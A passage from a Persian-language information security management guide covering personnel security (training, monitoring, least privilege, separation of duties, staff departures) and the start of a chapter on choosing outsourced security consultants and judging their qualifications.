لازم است به کارمندان فرصت مناسبی برای آموزشهای جاری و آتی بدهید؛ مثل تشویق به حضور در کنفرانسها و سمینارهای حرفه‌ای، اشتراک در نشریه‌های ادواری حرفه‌ای و تجاری، و دستیابی به کتابهای مرجع و سایر موارد آموزشی. باید به کارمندان زمان کافی برای استفاده از کتب و انگیزه‌های لازم برای یادگیری مهارتهای مورد نیاز داده شود.

در کنار آموزش دوره‌ای ممکن است مایل باشید از روشهای متنوع‌تری برای تداوم این روند بهره گیرید – مثلاً نصب پوسترها یا اعلامیه‌هایی در مورد الگوهای سرآمدی، اعلام شعارهای روزانه و هفتگی، نامگذاری یک روز به عنوان "روز

امنیت"، و یا برگزاری نشستها و سمینارهای مختلف به منظور جلوگیری از کمرنگ شدن اهمیت موضوعِ امنیت در منظر عمومی.

البته اندازه و طبیعت سازمان، سطح تهدیدات و ضررهای احتمالی، و نهایتاً تعداد و رفتار کارکنان همه و همه از مواردی هستند که هنگام تنظیم طرحها باید درنظر گرفته شوند. هزینه‌های فعالیتهای آگاهی‌بخش نیز باید از قبل درنظر گرفته و در بودجهٔ سازمان آمده باشند.

بررسی و کنترل کارآیی

کارآیی کارمندان شما باید بصورت دوره‌ای بررسی شود. بطور خاص، در قبال رشد حرفه‌ای و عملکردهای موفق باید به کارمندان امتیاز و پاداش تعلق بگیرد. در عین حال مشکلات باید بصورتی سازنده شناسایی و حل شوند. شما باید کارمندان خود را به افزایش تواناییها و درک بیشتر تشویق کنید.

شما همچنین باید از بوجود آمدن شرایطی که در آنها کارکنان احساسهای مخربی چون خستگی مفرط از کار زیاد، بی‌احترامی، و یا بی‌توجهی پیدا می‌کنند جلوگیری نمایید. بوجود آمدن چنین محیطی در اداره ممکن است منجر به بی‌توجهی کارکنان به منافع سازمان شود. همچنین ممکن است کارکنان برای قرار گرفتن در فرصتهای مناسبتر شغلی سازمان شما را ترک کنند؛ یا بدتر از آن ممکن است برای انتقامگیری در بعضی فعالیتهای آشوبگرانه علیه شما همکاری نمایند. اضافه‌کاری باید بعنوان یک استثنا – و نه یک روال – باشد و به تمام کارمندان – خصوصاً آنهایی که در پستهای حساس هستند – باید تعطیلات و اوقات فراغت کافی داده شود. اضافه‌کاری به شدت کارمندان را خسته می‌کند و خستگی نیز باعث می‌شود که ضریب خطای آنها بالا رود، متوجه اشکالات نشوند یا از آنها چشم‌پوشی کنند، و همچنین از نظر عاطفی آسیب ببینند. در اینصورت در زندگی خصوصی آنها نیز فشارهای عصبی بوجود خواهد آمد، چراکه خانواده‌ها و عزیزانشان هم می‌خواهند گهگاه در طول روز آنها را ببینند. برای کارمندانی که بیش از اندازه تحت فشار و خسته باشند احتمال بیشتری وجود دارد که آزرده‌خاطر شوند و بدیهی است که این مسئله در بهبود امنیت هیچ کمکی نخواهد کرد.

بطور کلی علائم فشارهای روانی زیاد، مسائل شخصی و سایر انواع مشکلات کارکنانی که از امتیازات دسترسی نسبتاً بالا برخوردارند را باید کنترل کرد. تشخیص این مشکلات و درصورت امکان کمک به رفع آنها حداقلِ انسانیت است. انجام اینکار همچنین راهی برای حفاظت از منابع پر ارزش سازمان – خود کارکنان و نیز منابعی که به آنها دسترسی دارند – می‌باشد.

بازبینی دسترسیها

اطمینان حاصل کنید که امکان بازبینیِ دسترسیها به ابزار و اطلاعات وجود دارد. علاوه بر این مطمئن شوید هرکس که از هر نوع دسترسی برخوردار است از وجود این بازبینی‌ها اطلاع دارد. بسیاری از موارد سوء استفاده از رایانه‌ها به این دلیل صورت می‌گیرد که نفوذگر احساس می‌کند کسی متوجه کارهای او نخواهد شد. اگر یک تبهکار بداند که فعالیتهایش به ثبت می‌رسد ممکن از انجام کارهای مخرب خود صرفنظر کند. منظور از بازبینی تنها بازبینی ثبتهای رایانه‌ای نیست؛ بلکه گزارشات ورود و خروج افراد از ساختمان، سوابق استفادهٔ افراد از قفلهای الکترونیکی، و همچنین نوارهای تلویزیون مدار بسته، همگی می‌توانند مورد بازبینی قرار گیرند تا زمینه برای مسئولیت‌پذیری بیشتر مهیا شود.

با تمام این احوال باید مراقب آثار کنترلها پنهانی هم بود. افراد از اینکه به آنها اعتماد نشود و بطور مخفیانه تحت نظر باشند احساس ناخرسندی می‌کنند؛ و اگر بفهمند که تحت نظر قرار دارند ممکن است عصبانی شوند و حتی عملکردی افراطی از خود بروز دهند. بعنوان مثال در بعضی از دادسراها دیده‌شده که قانون کار و قراردادهای استخدامی توانسته باعث روبرو شدن کارفرما با دادرسیهای سنگین مدنی شود.

اگر نظارت بسیار دقیق باشد صرف مطلع کردن کارمندان از اینکه تحت نظر هستند کافی نیست. بعضی مطالعات نشان داده که کارمندان وقتی تحت نظارت شدید قرار داشته باشند کارایی کمتر و رفتار نامناسبتری خواهند داشت. مثلاً اگر شما بخواهید زمان مکالمهٔ تلفنی کارکنان، هر پایگاه وب که از آن بازدید می‌کنند، و یا اینکه هر چند وقت یکبار به استراحت می‌پردازند را تحت نظارت خود داشته باشید، آنگاه این مسئله کاملاً صحت خواهد داشت. بهترین سیاستها آنهایی هستند که با نظر مساعد و تشریک مساعی کارمندان تدوین شوند و کارکنان بخش منابع انسانی هم (اگر چنین بخشی داشته باشید) هنگام تدوین آن حضور داشته باشند.

حداقل دسترسی و تفکیک وظایف

اصول دسترسی حداقلی و تفکیک وظایف را به دقت درنظر داشته باشید. این اصول در طول زمان کارآیی خود را ثابت کرده‌اند و هرگاه در عملیات شما قابل اجرا باشند باید مورد استفاده قرار گیرند.

حداقل دسترسی

این اصل می‌گوید کمترین دسترسی لازم برای انجام کارها را به هر فرد بدهید. این دسترسیِ محدودشده، هم شامل دسترسی منطقی است (دسترسی به حسابهای کاربری، شبکه‌ها، برنامه‌ها) و هم دسترسی فیزیکی (دسترسی به رایانه‌ها، نوارهای پشتیبان و سایر تجهیزات جانبی). اگر هر کاربر روی همهٔ سیستمها حساب کاربری و به تمام منابع دسترسی فیزیکی داشته باشد، آنگاه تمام کاربران از نظر میزان تهدید تقریباً یکسان خواهند بود.

تفکیک وظایف

این اصل بر این مبنا استوار است که شما باید با دقت وظایف افراد را از هم جدا کنید. در اینصورت کسانیکه عهده‌دار نظارت بر استفادهٔ نادرست هستند خود هم نخواهند توانست از سیستمها استفادهٔ نادرست کنند. بنابراین واگذار کردن همهٔ فعالیتهای امنیتی و مسئولیتهای نظارتی به تنها یکنفر کار خطرناکی است. این مسئله می‌تواند منجر به این شود که آن شخص از سیاستهای امنیتی سرپیچی کند و مرتکب کارهای ممنوعه شود؛ و این درحالی است که هیچکس جز خود او گزارشات بازبینی مربوط به این کارها را نمی‌خواند و لذا نافرمانی وی بصورت مخفی باقی می‌ماند و به احتمال زیاد در طول زمان باز هم تکرار می‌شود.

وابستگی به کارمندان کلیدی را محدود کنید

هیچکس در یک سازمان نباید غیرقابل جایگزینی باشد چراکه هیچ انسانی جاودانه و همیشگی نیست. اگر بقای یک سازمان وابسته به عملکرد روزانهٔ یک کارمند کلیدی باشد، بدون شک آن سازمان با مخاطره مواجه است. برای برقراری امنیت، سازمانها باید برای مواقعی چون بیماری یا اخراج ناگهانی افراد کلیدی سیاستها و طرحهای مکتوبی داشته باشند و در عمل نیز از آن طرحها بهره گیرند.

در یک مورد که گزارش آن بدست ما رسیده، یک شرکت با حدود ۱۰۰ کارمند بیش از ۱۰ سال وقت صرف تدوین سیستم حسابداری گمرکی خود و واردات سفارشات نمود. این سیستم با یک زبان برنامه‌نویسی که به سادگی قابل خواندن نبود تهیه شد و شرکتی که آنرا تهیه کرده بود پس از مدت کوتاهی کار تجارت را کنار گذاشت. در آن شرکت تنها دو نفر به نحوهٔ کار این سیستم آشنا بودند: مدیر *سیستمهای اطلاعات مدیریت* (MIS)[۹۸] و نیز برنامه‌نویسِ او. این دو نفر مسئول ایجاد تغییرات در برنامه‌های سیستم حسابداری، آماده‌سازی گزارشات سالانه، تعمیر تجهیزات ازکارافتادهٔ رایانه، و حتی تهیهٔ نسخه‌های پشتیبان (که خارج از محوطهٔ اداری شرکت و در دفتر مدیر MIS ذخیره می‌شد) بودند.

اگر مدیر MIS و برنامه‌نویسِ او یک روز در راه دچار یک تصادف مرگبار می‌شدند چه اتفاقی می‌افتاد؟ اگر به مدیر MIS شغلی مناسبتر با حقوق چندبرابر پیشنهاد می‌شد چه اتفاقی رخ می‌داد؟ اگر برنامه‌نویس بخاطر نیاز شرکت به نگهداری او در پست خود نمی‌توانست ارتقای سازمانی پیدا کند و نسبت به کار در سازمان دلسرد و عصبانی می‌شد چطور؟

اینکه پرسنل اصلی غیرقابل جایگزینی شوند یکی از معایب و هزینه‌های جدی سیستمهای رایانه‌ای محسوب می‌شود – و مدیریت ارشد سازمان بندرت به این هزینه‌ها توجه کافی نشان می‌دهد. این مسئله یکی دیگر از دلایل بکارگیری نرم‌افزارهای حاضر و آماده و استفاده از سیاستها و روالهای نوشتاری – بطوریکه یک فرد تازه‌وارد بتواند براحتی جایگزین نفر قبلی شود – را روشن می‌کند.

غیبت و ترک شغل

گاهی اوقات افراد با میل و ارادهٔ شخصی خود (مثل پیشنهادهای بهتر شغلی) و گاهی بصورت غیرداوطلبانه (مثل وقوع مرگ یا آسیبهای فیزیکی) یک کار را ترک می‌کنند. در بازه‌های کوتاهتر زمانی نیز به هر حال افراد به مسافرت می‌روند و یا بدلایل خانوادگی و شخصی ممکن است برای چند روز از اداره غیبت کنند. در هریک از این موارد باید مجموعه‌ای از اقدامات و روالها برای گردش کار در شرایط غیبت یا ترک شغل تعریف شده باشد. این مجموعه می‌تواند شامل مراحلی چون تعلیق حسابها (البته نه در مورد غیبت)، تخصیص کارهای فرد به کارکنان دیگر، تغییر رمزهای عبور حساس، بررسی

98 Management Information Systems

صندوقهای پست صوتی؛ و یا قطع دسترسیها به تمام این سیستمها باشد.

در برخی محیطها ممکن است انجام این کارها تأثیرات گسترده‌ای داشته باشد. مثلاً ممکن است در یک دانشگاه، دانشجویان فارغ‌التحصیل اجازه داشته باشند تا ماهها یا سالها بعد از فارغ‌التحصیلی همچنان از حسابهای کاربری خود (مثلاً برای ارتباط با اساتید) استفاده کنند. در ادارات نیز اگر یکی از کارمندان در سفر باشد یا به خاطر بیماری غیبت کرده باشد (البته به مدت چند روز)، حسابهای او نباید مسدود و رمزهای عبورش نباید تغییر کنند.

در بسیاری مواقع ترک شغل بسیار ناگهانی و غیرمنتظره است. در این شرایط ممکن است فردی در محل کارِ کارمندی که ترک شغل کرده حاضر شود تا از تعویض قفلها اطمینان حاصل کند و یک مأمور امنیتی نیز با جعبه‌ای حاوی وسایل شخصی وی که داخل کشوی میز کارش بوده‌اند به بدرقهٔ او برود. حساب کاربری او قبلاً حذف شده، تمامی رمزهای عبور سیستم تغییر کرده‌اند، و تلفنهای دفتر وی نیز دیگر وصل نیستند. این شکل *مدیریت جدائی*[۹۹] در صنایع خدمات مالی بسیار معمول است و بخشی از مشاغل سازمان بشمار می‌رود. کارکنان این بخش معمولاً کارمندانی هستند که از روی میل خودشان و بر حسب قراردادهایی استخدام شده‌اند که در آنها ذکر شده که ممکن است مسئول انجام چنین اقداماتی شوند. تحت هر شرایطی از دانش عرفی خود استفاده کنید. شما باید دقیقاً تعیین کنید که سیاست دسترسی باید چه باشد و آنرا بوضوح برای کارمندان و افراد مسئول در پیاده‌سازی آن سیاستها بیان کنید.

ملاحظات امنیتی در رابطه با سایر کارکنان

افراد دیگری که به سیستم شما دسترسی دارند ممکن است همواره منافع و نگرانیهای شما را درنظر نداشته باشند یا به خسارتهایی که ممکن است به شما وارد شود بی‌توجهی نشان دهند. گزارشات زیادی در مورد وقوع چنین اتفاقاتی در محیطهای خانوادگی وجود دارد: همبازیهای کودکان که ویروسهایی را وارد سیستمهای رایانه‌ای کرده‌اند و یا افراد متأهلی که برای جمع‌آوری مدارک و آگاه شدن از خیانت همسراشان در پیوند زناشویی، دیسکها را مورد وارسی قرار داده‌اند. در محیطهای تجاری نیز گزارشاتی در مورد نظافتچی‌ها و کارمندان موقت دفتری وجود دارد که حین خرابکاری یا جاسوسی در رایانه‌های شرکت دستگیر شده‌اند.

شما نمی‌توانید پدر و مادر خود را انتخاب کنید اما می‌توانید در تعیین اینکه چه کسی حق دسترسی به رایانه‌های شرکت شما دارد تأثیرگذار باشید. بازدیدکنندگان، کارکنان بخش تعمیرات، پیمانکاران، فروشندگان، و سایر افراد همگی ممکن است به دفتر کار و سیستم شما دسترسی موقتی یا نیمه‌دائمی داشته باشند. ببینید همهٔ مواردی که تاکنون مورد بحث قرار داده‌ایم چگونه می‌توانند در مورد این افراد صدق کنند. در پایان از یاد نبرید که هیچکس از بیرون اداره نباید به تجهیزات رایانه‌ای و شبکه‌ای شما دسترسی فیزیکیِ نامحدود داشته باشد.

افرادی که سوابق کاری آنها هر از چندگاه باید مورد بررسی قرار گیرد عبارتند از:

- متصدیان و راهبران سیستم؛
- کارمندان و پیمانکاران موقت که به سیستم دسترسی دارند؛
- پرسنل تعمیرات و نظافت؛
- نگهبانان امنیتی؛
- نامه‌رسانها و پرسنل بخش تدارکات که به سیستمها دسترسی معمولی یا بدون نظارت دارند؛
- مشاوران؛
- حسابرسان، ممیزها، و سایر پرسنل بخش مالی.

تمامی کارکنانی که به سیستم دسترسی دارند باید در مورد امنیت و پیشگیری از خسارتها آموزشهای لازم را ببینند و مطالب آموزشی بصورت دوره‌ای برایشان تکرار شود. پرسنل همچنین باید در جریان روالهای واکنش به رخدادها و نیز جریمه‌های نقض مقررات امنیتی قرار داشته باشند.

تهدیداتی که از جانب خانوادهٔ خودتان متوجه شما است را از یاد نبرید. خواه در منزل از یک سیستم مشترک برای تمام اعضای خانواده استفاده کنید و خواه کودکانتان را گهگاه برای بازدید به اداره ببرید، این مسئله حائز اهمیت است که آنها بدانند رایانه‌ای که شما با آن کار می‌کنید وسیله‌ای برای بازی نیست. آنها باید یاد بگیرند که به دستگاهها و وسایل حساس

99 *Separation Management*

تجاری دست نزنند. برای این منظور استفاده از محافظهای نمایشگر مجهز به رمزهای عبور، اقدام پیشگیرانهٔ مناسبی محسوب می‌شود. علاوه بر این به اعضای خانوادهٔ خود بیاموزید که لزومی ندارد در رابطه با محیط کار و تجارت رایانه‌ای شما با کسی صحبت کنند.

فصل هفتم
برونسپاری امنیت[۱۰۰]

کلیات

استفاده از منابع بیرونی برای مدیران بنگاههای اقتصادیِ عمومی، خصوصی و غیرانتفاعی که نگران توانمندی واکنش سازمان خود به تهدیدهای امنیتی هستند گزینهٔ مناسبی است، ولی انتخاب شرکتی که اینکار را انجام دهد باید به دقت صورت گیرد و کارآیی آن نیز باید بصورت منظم کنترل شود. در این فصل برخی از مزایا و معایب برونسپاری امنیت ذکر شده و یک دسته سؤالات که پیش از نهایی کردن مذاکرات با شرکای جدید بخش امنیت باید به آنها پاسخ داد نیز عنوان شدهاند.

برونسپاری؛ جایگزینی برای ورود ناخواستهٔ سازمان به عرصههای جدید

بعد از مطالعهٔ همهٔ مطالب فصلهای گذشته شاید به این نتیجه رسیده باشید که تمامی سیاستها و طرحها در وضعیت خوبی هستند؛ یا اینکه هنوز کارهایی وجود دارند که بخواهید انجام دهید؛ یا ممکن است از حجم کل کار ترسیده باشید. اگر جزء دسته آخر هستید این تصور را نکنید که انجامشدن آن فعالیت برای شرکت شما امکانناپذیر است. راههای دیگری هم برای تدوین سیاستها و طرحها و تأمین امنیت در ادارهٔ شما وجود دارد: استفاده از منابع، مشاوران و پیمانکاران خارج از شرکت. حتی اگر شما یک تجارت انفرادی کوچک در منزل یا شرکتی کوچک که وابسته به فناوری اطلاعات و ارتباطات است داشته باشید میتوانید از منافع تقسیم تجارب تخصصی استفاده کنید: عقد قرارداد همکاری با آندسته از شرکتهای امنیتی که میتوانند یک گروه آموزشدیده و باتجربه که به هیچ ادارهای وابسته نیستند را استخدام کنند و تواناییهایشان را با مشتریان متقاضی تقسیم نمایند و مهارتهای خود را در اختیار آنها قرار دهند.

از طرف دیگر اگر شما مهارتهای بالایی در فناوری اطلاعات داشته باشید میتوانید شرکتی تأسیس کنید و توانائیهای خود را در اختیار کسانی قرار دهید که به این خدمات نیاز دارند. در این قبیل شرکتها تواناییهای شغلی مهمی پیدا میشود؛ چراکه در سطح دنیا به اندازهٔ کافی متخصص امنیت اطلاعات وجود ندارد که بتواند جوابگوی تمامی نیازهای صنایع و دولتها در سراسر جهان باشد[۱۰۱]. لذا در پاسخگویی به نیازهای امنیت اطلاعات در غرب، یک انفجار در بکارگیری خدمات مشاوران و منابع خارجی برای کمک به سازمانهای با اندازههای مختلف صورت گرفته است. مشابه حالتی که برای بسیاری دیگر از خدمات قابل واگذاری به منابع خارج از سازمان وجود دارد، اینجا نیز برخی از شرکتها درجهیک و ممتاز هستند، برخی در زمینهٔ کار خود از تخصص بالایی برخوردارند، و برخی دیگر نیز ضعیف عمل میکنند. متأسفانه وضعیت این شاخه بگونهای است که نمیتوان با یک نگاه ضعف پیشنهاداتی که توسط افراد تازهکار تهیه شدهاند را تشخیص داد.

اگر به این دلیل که سازمان شما بخشی مخصوص تهیهٔ برنامههای امنیتی ندارد هنوز نتوانستهاید سیاستها و طرحهای ترمیم از سوانح و واکنش به رخدادهای خود را تدوین کنید، توصیهٔ ما این است که برای اینکار از منابع خارج سازمانی کمک بگیرید. چند سازمان بینالمللی وجود دارند که به کشورهای درحال توسعه در زمینههای مرتبط با فناوری اطلاعات کمک میکنند. اگر چنین تخصصی در دسترس باشد، میتواند هم برای پشتیبانی کوتاهمدت و هم برای پیریزی توانمندیهای بلندمدتتر (آموزش و کسب آگاهی) بسیار ارزشمند باشد.

تدوین طرح اجرایی

اولین قدم این است که تشخیص دهید باید از چه خدماتی استفاده کنید:

---

۱۰۰ واگذاری امنیت به منابع خارج از سازمان (Outsourcing)

۱۰۱ یکی از نتایج کمبود متخصص آموزشدیدهٔ امنیت، کمبود کارکنان و منابع پشتیبانی تحصیلات امنیت اطلاعات در مراکز آموزشی و دانشگاهها است. دولتها و صنایع ادعا میکنند که این حوزه از اهمیت زیادی برخوردار است، اما در تخصیص منابعی برای کمک به ساختهشدن این حوزه به شدت شکست خوردهاند.

آیا بخش امنیت را بعنوان بخشی از سازمان خود و با کارمندان خود راه‌اندازی می‌کنید؟

اگر چنین باشد شاید فقط به مشاورانی نیاز داشته باشید که برای اطمینان از فراموش نشدن یک مسئله مهم، عملیات شما را بررسی کنند.

شاید خودتان برای اینکار کارشناسانی داشته باشید ولی نگران زمان کم یا توانایی واکنش مناسب آنها به یک بحران باشید.

پس می‌توانید برای جلب همکاریِ یک شرکت به بازار بروید تا چند پیمانکار را برای همکاری (تمام وقت و یا پاره وقت) به ادارهٔ شما بفرستد. همچنین ممکن است بخواهید از خدمات *شرکتهای نظارت و واکنش از راه دور*[۱۰۲] استفاده کنید تا تنها بر امنیت شما نظارت کنند و درصورت بروز اشکال به شما کمک نمایند.

شاید نتوانید یک کارمند تمام وقت بکار بگیرید یا نیازی به چنین کسی نداشته باشید. در اینصورت ممکن است عقد قرارداد با یک شرکت مشاوره و نظارت که در این زمینه خدمات کامل ارائه می‌کند نیازتان را برآورده کند و نیز مقرون به صرفه‌تر باشد.

نکتهٔ کلیدی در هریک از موارد فوق این است که بدانید نیازهایتان چیست و هریک از آن خدمات به کدام نیازهایتان پاسخ می‌دهند. این مسئله همیشه ساده نیست، چراکه تا وقتی تجربهٔ مسائل امنیتی را پیدا نکرده و محیط اطراف خود را خوب نشناخته باشید، نیازهای واقعی خود را نمی‌دانید.

انتخاب فروشنده

موفقیت شما در برونسپاری امور امنیتی به شرکتهای ثالث تا حد زیادی به سازمانها یا افرادی بستگی دارد که آنها را برای اینکار انتخاب کرده‌اید.

یک راهنما بگیرید و روی معرفها پافشاری کنید

به علت تنوع زیاد شرکتهای مشاوره، یکی از بهترین روشهای انتخاب شرکت مورد نظرتان، پرسیدن از یک سازمان آشنا و مشابه سازمان خودتان می‌باشد. متأسفانه همیشه پیدا کردن یک معرف خوب امکانپذیر نیست. بسیاری از سازمانها، یا شرکتهای مشاوره‌ای خود را در یک نمایشگاه تجاری پیدا کرده‌اند، یا اولین بار در مقالات خبری از آنها مطالبی خوانده‌اند، و یا پس از یک تماس سادهٔ تلفنی و از طریق یک واسطه تصمیم به استفاده از خدمات آنان گرفته‌اند.

بدیهی است که یک شرکت ثالث امنیتی در جایگاهی قرار دارد که می‌تواند خسارتهای سنگینی به سازمان شما وارد آورد. حتی اگر یک شرکت تأمین امنیت بیرونی بسیار امانتدار و شایسته باشد، چنانچه شما در انجام کاری به آنها اعتماد کنید و آن کار بصورت نامطلوب انجام شود ممکن است تا ماهها بعد که پیامدهای آن آشکار شوند – زمانیکه شاید رابطهٔ شما با آن شرکت پایان یافته باشد – متوجه آن اشکال نشوید.

به همین دلیل وقتی یک شرکت را برای همکاری درنظر می‌گیرید باید:

معرفها را بررسی کنید

بدنبال معرفهای حرفه‌ای بگردید که شخص یا سازمانی را بکار گرفته‌اند که خدماتی مشابه آنچه شما بدنبال آن هستید را ارائه می‌کند.

افراد را بررسی کنید

اگر افراد خاصی برای انجام کارتان به شما معرفی شده‌اند، با روشهایی که در ادامهٔ همین مبحث و در بخش "افراد" شرح می‌دهیم آنها را ارزیابی کنید. در مورد شرکتهای بزرگ مشاوره‌ای که اسامی افراد درگیر در پروژهٔ شما را تا پرداخت قسط اول هزینهٔ قرارداد در اختیارتان قرار نمی‌دهند محتاطانه عمل کنید.

پایداری و تداوم فعالیت شرکت را در نظر بگیرید

اگر شما برای انجام یک پروژهٔ بلندمدت قرارداد بسته‌اید باید اطمینان حاصل کنید که شرکت طرف قرارداد در تمام مدت طولِ قرارداد وجود خواهد داشت. منظور از این نکته این نیست که شما نباید با استفاده از خدمات شرکتهای تازه‌تأسیس موافقت کنید، بلکه باید مطمئن شوید که سازمان مربوطه واجد مدیریت و پشتوانهٔ مالی لازم برای انجام تعهداتش می‌باشد. از شرکتهای مشاوره‌ای که دارای نرخهای پائین هستند اجتناب کنید؛ چراکه اگر نتوانند با فروش خدماتی که شما از آنها می‌خرید هزینه‌های خود را تأمین کنند، آنگاه سعی خواهند کرد از جای دیگر این پول را بدست

102 Remote Monitoring and Response Firm

آورند و لذا خدمات هرچند سطح بالای آنها در جای دیگر و شاید حتی تجارت دیگری متمرکز خواهد شد.

مراقب فریبکاریها باشید

در مورد *قراردادهای همه‌جانبه*[۱۰۳] که در آن یک شرکت به تنهایی همهٔ سیاستها را تهیه نموده و برای پیاده‌سازی سیاستها، خدمات و سخت‌افزار لازم را نیز می‌فروشد مراقب باشید. ما گزارشاتی دریافت کرده‌ایم که در آن نیازهای سیاست امنیتی و نیازهای طرح امنیتی به طرز مشکوکی برای همهٔ مشتریان بسیار مشابه یکدیگر بوده و در همگی از سخت‌افزار پایه و راه‌حلهای مشاوره‌ایِ نسبتاً مشابهی استفاده شده بود. اگر شما شرکتی را انتخاب کنید که شما را محدود به ارتباط انحصاری بلندمدت با خود نکند، آنگاه احتمال بیشتری وجود خواهد داشت که سیاستهای تدوین‌شده توسط آن سازمان مطابق نیازهای واقعی شما باشد و نه مطابق وسایلی که آنها به فروش می‌رسانند.

گستردگی تجارب را درنظر بگیرید

شما باید حتی‌الامکان از انتخاب شرکتهایی که عمدهٔ تجربه آنها مربوط یک نوع مشتری یا یک بستر نرم‌افزاری خاص است محتاطانه عمل کنید، مگر آنکه نیازهای سازمان شما دقیقاً با سازمانهایی که شرکت مزبور به آنها ارائه خدمات می‌دهد مطابقت داشته باشد. بعنوان مثال یک شرکت مشاوره‌ای که اساساً خدمات امنیتی شخص ثالث را به ادارات پلیس ارائه می‌دهد که از سیستم Microsoft Windows استفاده می‌کنند ممکن است برای یک شرکت دارویی که ترکیبی از Windows و Unix را بکار گرفته انتخاب مناسبی نباشد. گسترهٔ تجارب شرکت مشاوره‌ای ممکن است آنقدر فراگیر نباشد که بتواند خدمات سیاستی مناسبی برای پاسخگویی به نیازهای محیط کاری شما ارائه دهد. این نکته به این معنی نیست که افراد با سوابق کاری در یک حوزهٔ خاص نمی‌توانند دورنمای مناسبی برای شما فراهم کنند؛ اما شما باید محتاط باشید و ببینید که آیا شواهد روشنی برای تأیید این موضوع وجود دارند یا خیر.

کارکنان این شرکتها حداقل باید با مسائل زیر آشنایی داشته باشند:

- قانون کار و آندسته از مسائل مدیریتی که شرایطی را پیش بینی می‌کنند که در آنها افراد داخلی بر علیه کارفرمایشان اقدام قانونی می‌کنند؛
- قوانین جرائم رایانه‌ای ملی و محلی؛
- محصولات، فناوریها و محدودیتهای رمزنگاری؛
- ویروسها، کرمهای رایانه‌ای، سایر نرم‌افزارهای مخرب، و همچنین *نرم‌افزارهای پوینده*[۱۰۴]؛
- اصول TCP/IP در *شبکه‌های خصوصیِ مجازی* (VPNs)[۱۰۵] و دیواره‌های آتش؛
- آموزش و آگاهی عمومی، راهنماها و خدمات؛
- واکنش به رخدادها و پیگردهای قانونی؛
- امنیت سخت‌افزاری و نرم‌افزاری؛ و
- الگوهای سرآمدی، روشهای رسمی ارزیابی مخاطره، و مسائل مربوط به امور بیمه.

هر شرکت خدمات مشاوره‌ای که بخواهد سیاستهای خوبی برای سازمانهای طرف قرارداد تهیه کند باید پرسنلی داشته باشد که طالب گفتگو دربارهٔ مباحث مختلف که در این کتاب و بویژه در این فصل به آن می‌پردازیم باشند. اگر آنها آماده و یا قادر به بحث در مورد این عناوین نباشند ممکن است انتخاب مناسبی برای ارائه خدمات نباشند.

اگر در مورد این شرکتها نگرانی خاصی دارید کافیست از آنها بخواهید که سیاستها یا روالهایی که برای یک مشتری دیگر تهیه کرده‌اند را در اختیار شما قرار دهند. برخی از شرکتها چنین سندی را بعد از حذف اسم و مشخصات مشتری به شما ارائه می‌دهند. سایر شرکتها ممکن است مشتریهایی داشته باشند که خودشان خواسته باشند در فهرست "مشتریان مرجع" قرار گیرند. بعضی شرکتها ممکن است پیش از ارائه هر اطلاعاتی از شما بخواهند موافقتنامه‌ای دال بر سری نگهداشتن اسناد امضا کنید. از خدمات شرکتهایی که اسم و اسناد مشتریان خود را بدون مجوز آنها در اختیار شما و دیگران قرار می‌دهند استفاده نکنید؛ چون طبیعتاً در اینصورت اطلاعات را شما نیز بدون مجوز در اختیار مشتریان بعدی خود قرار خواهند داد. نکتهٔ آخر اینکه اگر از کارشناسان خارج

103 *"All in One" Contracts*

104 *Scanning Software*
105 *Virtual Private Networks*

از سازمان یا یک کشور دیگر کمک گرفتید، فراموش نکنید که یکی از شرایط قرارداد باید این باشد که آنها به توسعهٔ ظرفیت محلی سازمان و درصورت امکان کشور شما کمک کنند.

این کاملاً طبیعی است که طی دوره‌های گذار در کشورهای درحال توسعه شرکتها از کمک کارشناسان خارجی استفاده کنند. در حالت ایده‌آل می‌توانید از این روابط برای انتقال دانش و فناوری و افزایش استعدادهای بومی و درصورت امکان افزایش آگاهی کارشناسان ملی استفاده کنید.

معیارهای شایستگی برای کارکنان امنیت فناوری اطلاعات

مهمتر از همه باید در فکر افرادی باشید که خدمات سیاستگذاری امنیتی و پیاده‌سازی آنرا به شما ارائه می‌دهند. بر خلاف سایر خدمات مشاوره‌ای، در خصوص مشاورینی که برای مسائل امنیتی به استخدام در آمده‌اند باید بسیار محتاطانه رفتار کنید؛ چراکه بکارگیری نیروی خارجی برای تأمین امنیت معمولاً بدان معناست که سطوحی از دسترسی به سیستم و اطلاعات خود را در اختیار آنها قرار می‌دهید.

همانگونه که قبلاً اشاره کردیم در اطراف ما کارشناسان ماهرِ زیادی وجود ندارند. این بدان معنا است که گاهی اوقات شما باید افرادی را بکار گیرید که اطلاعات آنها به اندازه‌ای که می‌خواهید جامع نیست، ولی به هرحال از عهدهٔ کارتان بر می‌آیند. در مورد کسانیکه در زمینهٔ تخصص خود ادعاهای دروغین می‌کنند یا آنها که تخصصشان به آنچه بدان نیاز دارید نامربوط است مراقب باشید. بهتر است از خدمات فرد یا شرکتی استفاده کنید که خود اعتراف می‌کنند "در خلال کار، یادگیری هم خواهند داشت" (و احتمالاً به همین دلیل وجه کمتری دریافت می‌کنند)، تا اینکه فردی استخدام کنید که تلاش می‌کند نقایص کار خود را پنهان کند.

بازارهای امروزی امنیت در کشورهای توسعه‌یافته از افرادی که در زمینهٔ ایمن کردن بسترهای Windows در سطوح مختلف تخصص دارند اشباع شده است، اما کارشناسان بسترهای دیگر از جمله Unix کمتر هستند. از کتابها می‌توان اطلاعات زیادی در مورد امنیت آموخت، اما تنها مطالعهٔ کتاب کافی نیست. در حوزه‌هایی که در مورد آنها نگرانی دارید بدنبال معیارهای شایستگی کارمندان باشید؛ بخصوص:

گواهینامه‌ها

از متقاضیان گواهینامه بخواهید و از اعتبار گواهینامه‌هایی که ارائه می‌کنند اطمینان حاصل کنید. برخی از گواهینامه‌ها قابل خرید هستند و فرد برای دریافت آنها کافیست در یکسری از سمینارهای اینترنتی یا کلاسهای آموزشی شرکت کند، مطالب تئوری را برای چند ساعت به خاطر بسپارد، و سؤالات تستی را پاسخ دهد. این گواهینامه‌ها چندان ارزشمند نیستند. گواهینامه‌های دیگری وجود دارند که نیازمند تجارب عملی و تخصص عمیقتر می‌باشند.

گواهینامه هنوز یک بحث درحال تکامل است و لذا از اشاره به نمونه‌های فعلی آن اکراه داریم، اما بعنوان مثال می‌توان به گواهینامهٔ CISSP[۱۰۶] اشاره کرد که هرچند همهٔ آن چیزی نیست که ممکن است بخواهیم، اما یک مدرک معتبر برای تأیید سطحی معین از تجربه و تخصص در زمینهٔ امنیت است.[۱۰۷]

تحصیلات

